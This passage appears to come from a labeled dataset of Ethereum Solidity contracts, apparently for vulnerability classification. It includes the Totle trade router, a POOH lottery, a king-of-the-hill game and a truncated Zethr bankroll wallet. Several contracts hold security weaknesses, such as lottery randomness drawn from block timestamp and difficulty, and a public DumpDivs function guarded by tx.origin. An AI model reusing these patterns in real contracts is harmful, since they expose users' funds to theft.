if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns (uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns (uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns (uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ErrorReporter {
function revertTx(string reason) public pure {
revert(reason);
}
}
contract Affiliate{
event FeeLog(uint256 ethCollected);
address public affiliateBeneficiary;
uint256 public affiliatePercentage;
uint256 public companyPercentage;
address public companyBeneficiary;
function init(address _companyBeneficiary, uint256 _companyPercentage, address _affiliateBeneficiary, uint256 _affiliatePercentage) public {
require(companyBeneficiary == 0x0 && affiliateBeneficiary == 0x0);
companyBeneficiary = _companyBeneficiary;
companyPercentage = _companyPercentage;
affiliateBeneficiary = _affiliateBeneficiary;
affiliatePercentage = _affiliatePercentage;
}
function payout() public {
affiliateBeneficiary.transfer(SafeMath.div(SafeMath.mul(address(this).balance, affiliatePercentage), getTotalFeePercentage()));
companyBeneficiary.transfer(address(this).balance);
}
function() public payable {
emit FeeLog(msg.value);
}
function getTotalFeePercentage() public view returns (uint256){
return affiliatePercentage + companyPercentage;
}
}
contract AffiliateRegistry is Ownable {
address target;
mapping(address => bool) affiliateContracts;
address public companyBeneficiary;
uint256 public companyPercentage;
event AffiliateRegistered(address affiliateContract);
constructor(address _target, address _companyBeneficiary, uint256 _companyPercentage) public {
target = _target;
companyBeneficiary = _companyBeneficiary;
companyPercentage = _companyPercentage;
}
function registerAffiliate(address affiliateBeneficiary, uint256 affiliatePercentage) external {
Affiliate newAffiliate = Affiliate(createClone());
newAffiliate.init(companyBeneficiary, companyPercentage, affiliateBeneficiary, affiliatePercentage);
affiliateContracts[address(newAffiliate)] = true;
emit AffiliateRegistered(address(newAffiliate));
}
function overrideRegisterAffiliate(address _companyBeneficiary, uint256 _companyPercentage, address affiliateBeneficiary, uint256 affiliatePercentage) external onlyOwner {
Affiliate newAffiliate = Affiliate(createClone());
newAffiliate.init(_companyBeneficiary, _companyPercentage, affiliateBeneficiary, affiliatePercentage);
affiliateContracts[address(newAffiliate)] = true;
emit AffiliateRegistered(address(newAffiliate));
}
function deleteAffiliate(address _affiliateAddress) public onlyOwner {
affiliateContracts[_affiliateAddress] = false;
}
function createClone() internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
function isValidAffiliate(address affiliateContract) public view returns(bool) {
return affiliateContracts[affiliateContract];
}
function updateCompanyInfo(address newCompanyBeneficiary, uint256 newCompanyPercentage) public onlyOwner {
companyBeneficiary = newCompanyBeneficiary;
companyPercentage = newCompanyPercentage;
}
}
contract TotleControl is Ownable {
mapping(address => bool) public authorizedPrimaries;
modifier onlyTotle() {
require(authorizedPrimaries[msg.sender]);
_;
}
constructor(address _totlePrimary) public {
authorizedPrimaries[_totlePrimary] = true;
}
function addTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = true;
}
function removeTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = false;
}
}
contract SelectorProvider {
bytes4 constant getAmountToGiveSelector = bytes4(keccak256("getAmountToGive(bytes)"));
bytes4 constant staticExchangeChecksSelector = bytes4(keccak256("staticExchangeChecks(bytes)"));
bytes4 constant performBuyOrderSelector = bytes4(keccak256("performBuyOrder(bytes,uint256)"));
bytes4 constant performSellOrderSelector = bytes4(keccak256("performSellOrder(bytes,uint256)"));
function getSelector(bytes4 genericSelector) public pure returns (bytes4);
}
contract ExchangeHandler is SelectorProvider, TotleControl, Withdrawable, Pausable {
ErrorReporter public errorReporter;
constructor(
address totlePrimary,
address _errorReporter
)
TotleControl(totlePrimary)
public
{
require(_errorReporter != address(0x0));
errorReporter = ErrorReporter(_errorReporter);
}
function getAmountToGive(
bytes genericPayload
)
public
view
returns (uint256 amountToGive)
{
bool success;
bytes4 functionSelector = getSelector(this.getAmountToGive.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
amountToGive := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function staticExchangeChecks(
bytes genericPayload
)
public
view
returns (bool checksPassed)
{
bool success;
bytes4 functionSelector = getSelector(this.staticExchangeChecks.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
checksPassed := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function performBuyOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
payable
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performBuyOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
function performSellOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performSellOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
}
contract TotlePrimary is Withdrawable, Pausable {
mapping(address => bool) public handlerWhitelistMap;
address[] public handlerWhitelistArray;
AffiliateRegistry affiliateRegistry;
address public defaultFeeAccount;
TokenTransferProxy public tokenTransferProxy;
ErrorReporter public errorReporter;
struct Trade {
bool isSell;
address tokenAddress;
uint256 tokenAmount;
bool optionalTrade;
uint256 minimumExchangeRate;
uint256 minimumAcceptableTokenAmount;
Order[] orders;
}
struct Order {
address exchangeHandler;
bytes genericPayload;
}
struct TradeFlag {
bool ignoreTrade;
bool[] ignoreOrder;
}
struct CurrentAmounts {
uint256 amountSpentOnTrade;
uint256 amountReceivedFromTrade;
uint256 amountLeftToSpendOnTrade;
}
event LogRebalance(
bytes32 id,
uint256 totalEthTraded,
uint256 totalFee,
address feeAccount
);
event LogTrade(
bool isSell,
address token,
uint256 ethAmount,
uint256 tokenAmount
);
modifier handlerWhitelisted(address handler) {
if (!handlerWhitelistMap[handler]) {
errorReporter.revertTx("Handler not in whitelist");
}
_;
}
modifier handlerNotWhitelisted(address handler) {
if (handlerWhitelistMap[handler]) {
errorReporter.revertTx("Handler already whitelisted");
}
_;
}
constructor (address _tokenTransferProxy, address _affiliateRegistry, address _errorReporter, address _defaultFeeAccount) public {
tokenTransferProxy = TokenTransferProxy(_tokenTransferProxy);
affiliateRegistry = AffiliateRegistry(_affiliateRegistry);
errorReporter = ErrorReporter(_errorReporter);
defaultFeeAccount = _defaultFeeAccount;
}
function updateDefaultFeeAccount(address newDefaultFeeAccount) public onlyOwner {
defaultFeeAccount = newDefaultFeeAccount;
}
function addHandlerToWhitelist(address handler)
public
onlyOwner
handlerNotWhitelisted(handler)
{
handlerWhitelistMap[handler] = true;
handlerWhitelistArray.push(handler);
}
function removeHandlerFromWhitelist(address handler)
public
onlyOwner
handlerWhitelisted(handler)
{
delete handlerWhitelistMap[handler];
for (uint i = 0; i < handlerWhitelistArray.length; i++) {
if (handlerWhitelistArray[i] == handler) {
handlerWhitelistArray[i] = handlerWhitelistArray[handlerWhitelistArray.length - 1];
handlerWhitelistArray.length -= 1;
break;
}
}
}
struct FeeVariables{
uint256 feePercentage;
Affiliate affiliate;
uint256 totalFee;
}
function performRebalance(
Trade[] memory trades,
address feeAccount,
bytes32 id
)
public
payable
whenNotPaused
{
if(!affiliateRegistry.isValidAffiliate(feeAccount)){
feeAccount = defaultFeeAccount;
}
FeeVariables memory feeVariables = FeeVariables(0, Affiliate(feeAccount), 0);
feeVariables.feePercentage = feeVariables.affiliate.getTotalFeePercentage();
TradeFlag[] memory tradeFlags = initialiseTradeFlags(trades);
staticChecks(trades, tradeFlags);
transferTokens(trades, tradeFlags);
uint256 etherBalance = msg.value;
uint256 totalTraded = 0;
for (uint256 i; i < trades.length; i++) {
Trade memory thisTrade = trades[i];
TradeFlag memory thisTradeFlag = tradeFlags[i];
CurrentAmounts memory amounts = CurrentAmounts({
amountSpentOnTrade: 0,
amountReceivedFromTrade: 0,
amountLeftToSpendOnTrade: thisTrade.isSell ? thisTrade.tokenAmount : calculateMaxEtherSpend(thisTrade, etherBalance, feeVariables.feePercentage)
});
performTrade(
thisTrade,
thisTradeFlag,
amounts
);
emit LogTrade(thisTrade.isSell, thisTrade.tokenAddress, thisTrade.isSell ? amounts.amountReceivedFromTrade:amounts.amountSpentOnTrade, thisTrade.isSell?amounts.amountSpentOnTrade:amounts.amountReceivedFromTrade);
uint256 ethTraded;
uint256 ethFee;
if(thisTrade.isSell){
ethTraded = amounts.amountReceivedFromTrade;
} else {
ethTraded = amounts.amountSpentOnTrade;
}
totalTraded += ethTraded;
ethFee = calculateFee(ethTraded, feeVariables.feePercentage);
feeVariables.totalFee = SafeMath.add(feeVariables.totalFee, ethFee);
if (amounts.amountReceivedFromTrade == 0 && thisTrade.optionalTrade) {
continue;
}
if (!checkIfTradeAmountsAcceptable(thisTrade, amounts.amountSpentOnTrade, amounts.amountReceivedFromTrade)) {
errorReporter.revertTx("Amounts spent/received in trade not acceptable");
}
if (thisTrade.isSell) {
etherBalance = SafeMath.sub(SafeMath.add(etherBalance, ethTraded), ethFee);
} else {
etherBalance = SafeMath.sub(SafeMath.sub(etherBalance, ethTraded), ethFee);
}
transferTokensToUser(
thisTrade.tokenAddress,
thisTrade.isSell ? amounts.amountLeftToSpendOnTrade : amounts.amountReceivedFromTrade
);
}
emit LogRebalance(id, totalTraded, feeVariables.totalFee, feeAccount);
if(feeVariables.totalFee > 0){
feeAccount.transfer(feeVariables.totalFee);
}
if(etherBalance > 0) {
msg.sender.transfer(etherBalance);
}
}
function staticChecks(
Trade[] trades,
TradeFlag[] tradeFlags
)
public
view
whenNotPaused
{
bool previousBuyOccured = false;
for (uint256 i; i < trades.length; i++) {
Trade memory thisTrade = trades[i];
if (thisTrade.isSell) {
if (previousBuyOccured) {
errorReporter.revertTx("A buy has occured before this sell");
}
if (!Utils.tokenAllowanceAndBalanceSet(msg.sender, thisTrade.tokenAddress, thisTrade.tokenAmount, address(tokenTransferProxy))) {
if (!thisTrade.optionalTrade) {
errorReporter.revertTx("Taker has not sent allowance/balance on a non-optional trade");
}
tradeFlags[i].ignoreTrade = true;
continue;
}
} else {
previousBuyOccured = true;
}
for (uint256 j; j < thisTrade.orders.length; j++) {
Order memory thisOrder = thisTrade.orders[j];
if ( !handlerWhitelistMap[thisOrder.exchangeHandler] ) {
tradeFlags[i].ignoreOrder[j] = true;
continue;
}
}
}
}
function initialiseTradeFlags(Trade[] trades)
internal
returns (TradeFlag[])
{
TradeFlag[] memory tradeFlags = new TradeFlag[](trades.length);
for (uint256 i = 0; i < trades.length; i++) {
tradeFlags[i].ignoreOrder = new bool[](trades[i].orders.length);
}
return tradeFlags;
}
function transferTokensToUser(
address tokenAddress,
uint256 tokenAmount
)
internal
{
if (tokenAmount > 0) {
if (!ERC20SafeTransfer.safeTransfer(tokenAddress, msg.sender, tokenAmount)) {
errorReporter.revertTx("Unable to transfer tokens to user");
}
}
}
function performTrade(
Trade memory trade,
TradeFlag memory tradeFlag,
CurrentAmounts amounts
)
internal
{
for (uint256 j; j < trade.orders.length; j++) {
if(amounts.amountLeftToSpendOnTrade * 10000 < (amounts.amountSpentOnTrade + amounts.amountLeftToSpendOnTrade)){
return;
}
if((trade.isSell ? amounts.amountSpentOnTrade : amounts.amountReceivedFromTrade) >= trade.tokenAmount ) {
return;
}
if (tradeFlag.ignoreOrder[j] || amounts.amountLeftToSpendOnTrade == 0) {
continue;
}
uint256 amountSpentOnOrder = 0;
uint256 amountReceivedFromOrder = 0;
Order memory thisOrder = trade.orders[j];
ExchangeHandler thisHandler = ExchangeHandler(thisOrder.exchangeHandler);
uint256 amountToGiveForOrder = Utils.min(
thisHandler.getAmountToGive(thisOrder.genericPayload),
amounts.amountLeftToSpendOnTrade
);
if (amountToGiveForOrder == 0) {
continue;
}
if( !thisHandler.staticExchangeChecks(thisOrder.genericPayload) ) {
continue;
}
if (trade.isSell) {
if (!ERC20SafeTransfer.safeTransfer(trade.tokenAddress,address(thisHandler), amountToGiveForOrder)) {
if( !trade.optionalTrade ) errorReporter.revertTx("Unable to transfer tokens to handler");
else {
return;
}
}
(amountSpentOnOrder, amountReceivedFromOrder) = thisHandler.performSellOrder(thisOrder.genericPayload, amountToGiveForOrder);
} else {
(amountSpentOnOrder, amountReceivedFromOrder) = thisHandler.performBuyOrder.value(amountToGiveForOrder)(thisOrder.genericPayload, amountToGiveForOrder);
}
if (amountReceivedFromOrder > 0) {
amounts.amountLeftToSpendOnTrade = SafeMath.sub(amounts.amountLeftToSpendOnTrade, amountSpentOnOrder);
amounts.amountSpentOnTrade = SafeMath.add(amounts.amountSpentOnTrade, amountSpentOnOrder);
amounts.amountReceivedFromTrade = SafeMath.add(amounts.amountReceivedFromTrade, amountReceivedFromOrder);
}
}
}
function checkIfTradeAmountsAcceptable(
Trade trade,
uint256 amountSpentOnTrade,
uint256 amountReceivedFromTrade
)
internal
view
returns (bool passed)
{
uint256 tokenAmount = trade.isSell ? amountSpentOnTrade : amountReceivedFromTrade;
passed = tokenAmount >= trade.minimumAcceptableTokenAmount;
if (passed) {
uint256 tokenDecimals = Utils.getDecimals(ERC20(trade.tokenAddress));
uint256 srcDecimals = trade.isSell ? tokenDecimals : Utils.eth_decimals();
uint256 destDecimals = trade.isSell ? Utils.eth_decimals() : tokenDecimals;
uint256 actualRate = Utils.calcRateFromQty(amountSpentOnTrade, amountReceivedFromTrade, srcDecimals, destDecimals);
passed = actualRate >= trade.minimumExchangeRate;
}
}
function transferTokens(Trade[] trades, TradeFlag[] tradeFlags) internal {
for (uint256 i = 0; i < trades.length; i++) {
if (trades[i].isSell && !tradeFlags[i].ignoreTrade) {
if (
!tokenTransferProxy.transferFrom(
trades[i].tokenAddress,
msg.sender,
address(this),
trades[i].tokenAmount
)
) {
errorReporter.revertTx("TTP unable to transfer tokens to primary");
}
}
}
}
function calculateMaxEtherSpend(Trade trade, uint256 etherBalance, uint256 feePercentage) internal view returns (uint256) {
assert(!trade.isSell);
uint256 tokenDecimals = Utils.getDecimals(ERC20(trade.tokenAddress));
uint256 srcDecimals = trade.isSell ? tokenDecimals : Utils.eth_decimals();
uint256 destDecimals = trade.isSell ? Utils.eth_decimals() : tokenDecimals;
uint256 maxSpendAtMinRate = Utils.calcSrcQty(trade.tokenAmount, srcDecimals, destDecimals, trade.minimumExchangeRate);
return Utils.min(removeFee(etherBalance, feePercentage), maxSpendAtMinRate);
}
function calculateFee(uint256 amount, uint256 fee) internal view returns (uint256){
return SafeMath.div(SafeMath.mul(amount, fee), 1 ether);
}
function removeFee(uint256 amount, uint256 fee) internal view returns (uint256){
return SafeMath.div(SafeMath.mul(amount, 1 ether), SafeMath.add(fee, 1 ether));
}
function() public payable whenNotPaused {
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
if (size == 0) {
errorReporter.revertTx("EOA cannot send ether to primary fallback");
}
}
} | 1 | 2,165 |
pragma solidity ^0.4.20;
contract Lottery{
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier notPooh(address aContract)
{
require(aContract != address(poohContract));
_;
}
modifier isOpenToPublic()
{
require(openToPublic);
_;
}
event Deposit(
uint256 amount,
address depositer
);
event WinnerPaid(
uint256 amount,
address winner
);
POOH poohContract;
address owner;
bool openToPublic = false;
uint256 ticketNumber = 0;
uint256 winningNumber;
constructor() public
{
poohContract = POOH(0x4C29d75cc423E8Adaa3839892feb66977e295829);
openToPublic = false;
owner = msg.sender;
}
function() payable public { }
function deposit()
isOpenToPublic()
payable public
{
require(msg.value >= 10000000000000000);
address customerAddress = msg.sender;
poohContract.buy.value(msg.value)(customerAddress);
emit Deposit(msg.value, msg.sender);
if(msg.value > 10000000000000000)
{
uint extraTickets = SafeMath.div(msg.value, 10000000000000000);
ticketNumber += extraTickets;
}
if(ticketNumber >= winningNumber)
{
poohContract.exit();
payDev(owner);
payWinner(customerAddress);
resetLottery();
}
else
{
ticketNumber++;
}
}
function myTokens() public view returns(uint256)
{
return poohContract.myTokens();
}
function myDividends() public view returns(uint256)
{
return poohContract.myDividends(true);
}
function ethBalance() public view returns (uint256)
{
return address(this).balance;
}
function openToThePublic()
onlyOwner()
public
{
openToPublic = true;
resetLottery();
}
function emergencyStop()
onlyOwner()
public
{
poohContract.exit();
uint balance = address(this).balance;
owner.transfer(balance);
openToPublic = false;
}
function returnAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens)
public
onlyOwner()
notPooh(tokenAddress)
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function payWinner(address winner) internal
{
uint balance = address(this).balance;
winner.transfer(balance);
emit WinnerPaid(balance, winner);
}
function payDev(address dev) internal
{
uint balance = SafeMath.div(address(this).balance, 10);
dev.transfer(balance);
}
function resetLottery() internal
isOpenToPublic()
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
function adminResetLottery() public
onlyOwner()
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
}
contract ERC20Interface
{
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract POOH
{
function buy(address) public payable returns(uint256);
function exit() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
} | 0 | 437 |
pragma solidity ^0.4.16;
contract koth_v1b {
event NewKoth(
uint gameId,
uint betNumber,
address bettor,
uint bet,
uint pot,
uint lastBlock,
uint minBet,
uint maxBet
);
event KothWin(
uint gameId,
uint totalBets,
address winner,
uint winningBet,
uint pot,
uint fee,
uint firstBlock,
uint lastBlock
);
uint public constant minPot = 0.001 ether;
uint public constant minRaise = 0.001 ether;
address feeAddress;
uint public gameId = 0;
uint public betId;
uint public highestBet;
uint public pot;
uint public firstBlock;
uint public lastBlock;
address public koth;
function koth_v1b() public {
feeAddress = msg.sender;
resetKoth();
}
function () payable public {
if (lastBlock > 0 && block.number > lastBlock) {
msg.sender.transfer(msg.value);
return;
}
uint minBet = highestBet + minRaise;
if (msg.value < minBet) {
msg.sender.transfer(msg.value);
return;
}
uint maxBet;
if (pot < 1 ether) {
maxBet = 3 * pot;
} else {
maxBet = 5 * pot / 4;
}
if (msg.value > maxBet) {
msg.sender.transfer(msg.value);
return;
}
betId++;
highestBet = msg.value;
koth = msg.sender;
pot += highestBet;
uint blocksRemaining = uint( 10 ** ((64-5*pot/1000000000000000000) / 40) );
if (blocksRemaining < 3) {
blocksRemaining = 3;
}
lastBlock = block.number + blocksRemaining;
NewKoth(gameId, betId, koth, highestBet, pot, lastBlock, minBet, maxBet);
}
function resetKoth() private {
gameId++;
highestBet = 0;
koth = address(0);
pot = minPot;
lastBlock = 0;
betId = 0;
firstBlock = block.number;
}
function rewardKoth() public {
if (msg.sender == feeAddress && lastBlock > 0 && block.number > lastBlock) {
uint fee = pot / 20;
KothWin(gameId, betId, koth, highestBet, pot, fee, firstBlock, lastBlock);
uint netPot = pot - fee;
address winner = koth;
resetKoth();
winner.transfer(netPot);
if (this.balance - fee >= minPot) {
feeAddress.transfer(fee);
}
}
}
function addFunds() payable public {
if (msg.sender != feeAddress) {
msg.sender.transfer(msg.value);
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 0 | 673 |
pragma solidity ^0.4.23;
contract ZTHInterface {
function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string providedUnhashedPass) public payable returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function transferFrom(address _from, address _toAddress, uint _amountOfTokens) public returns (bool);
function exit() public;
function sell(uint amountOfTokens) public;
function withdraw(address _recipient) public;
}
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ZethrBankroll is ERC223Receiving {
using SafeMath for uint;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event DevWithdraw(uint amountTotal, uint amountPerPerson);
event EtherLogged(uint amountReceived, address sender);
event BankrollInvest(uint amountReceived);
event DailyTokenAdmin(address gameContract);
event DailyTokensSent(address gameContract, uint tokens);
event DailyTokensReceived(address gameContract, uint tokens);
uint constant public MAX_OWNER_COUNT = 10;
uint constant public MAX_WITHDRAW_PCT_DAILY = 15;
uint constant public MAX_WITHDRAW_PCT_TX = 5;
uint constant internal resetTimer = 1 days;
address internal zethrAddress;
ZTHInterface public ZTHTKN;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
mapping (address => bool) public isWhitelisted;
mapping (address => uint) public dailyTokensPerContract;
address internal divCardAddress;
address[] public owners;
address[] public whiteListedContracts;
uint public required;
uint public transactionCount;
uint internal dailyResetTime;
uint internal dailyTknLimit;
uint internal tknsDispensedToday;
bool internal reEntered = false;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
struct TKN {
address sender;
uint value;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier contractIsNotWhiteListed(address contractAddress) {
if (isWhitelisted[contractAddress])
revert();
_;
}
modifier contractIsWhiteListed(address contractAddress) {
if (!isWhitelisted[contractAddress])
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (!isOwner[caller])
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
dailyResetTime = now - (1 days);
}
function addZethrAddresses(address _zethr, address _divcards)
public
isAnOwner
{
zethrAddress = _zethr;
divCardAddress = _divcards;
ZTHTKN = ZTHInterface(zethrAddress);
}
function()
public
payable
{
}
uint NonICOBuyins;
function deposit()
public
payable
{
NonICOBuyins = NonICOBuyins.add(msg.value);
}
mapping(address => uint) playerRoundSendMSG;
mapping(address => uint) playerRoundSendTime;
uint playerTotalRounds = 100;
function DumpDivs() public {
require(tx.origin == msg.sender);
require((now - 1 hours) >= playerRoundSendTime[msg.sender]);
require((playerRoundSendMSG[msg.sender]+100) >= playerTotalRounds);
playerRoundSendMSG[msg.sender] = playerTotalRounds;
playerRoundSendTime[msg.sender] = now;
playerTotalRounds = playerTotalRounds + 1;
ZTHTKN.buyAndSetDivPercentage.value(NonICOBuyins)(msg.sender, 33, "");
}
function buyTokens()
public
payable
isAnOwner
{
uint savings = address(this).balance;
if (savings > 0.01 ether) {
ZTHTKN.buyAndSetDivPercentage.value(savings)(address(0x0), 33, "");
emit BankrollInvest(savings);
}
else {
emit EtherLogged(msg.value, msg.sender);
}
}
function tokenFallback(address , uint , bytes ) public returns (bool) {
}
function permissibleTokenWithdrawal(uint _toWithdraw)
public
returns(bool)
{
uint currentTime = now;
uint tokenBalance = ZTHTKN.balanceOf(address(this));
uint maxPerTx = (tokenBalance.mul(MAX_WITHDRAW_PCT_TX)).div(100);
require (_toWithdraw <= maxPerTx);
if (currentTime - dailyResetTime >= resetTimer)
{
dailyResetTime = currentTime;
dailyTknLimit = (tokenBalance.mul(MAX_WITHDRAW_PCT_DAILY)).div(100);
tknsDispensedToday = _toWithdraw;
return true;
}
else
{
if (tknsDispensedToday.add(_toWithdraw) <= dailyTknLimit)
{
tknsDispensedToday += _toWithdraw;
return true;
}
else { return false; }
}
}
function setDailyTokenLimit(uint limit)
public
isAnOwner
{
dailyTknLimit = limit;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
validRequirement(owners.length, required)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
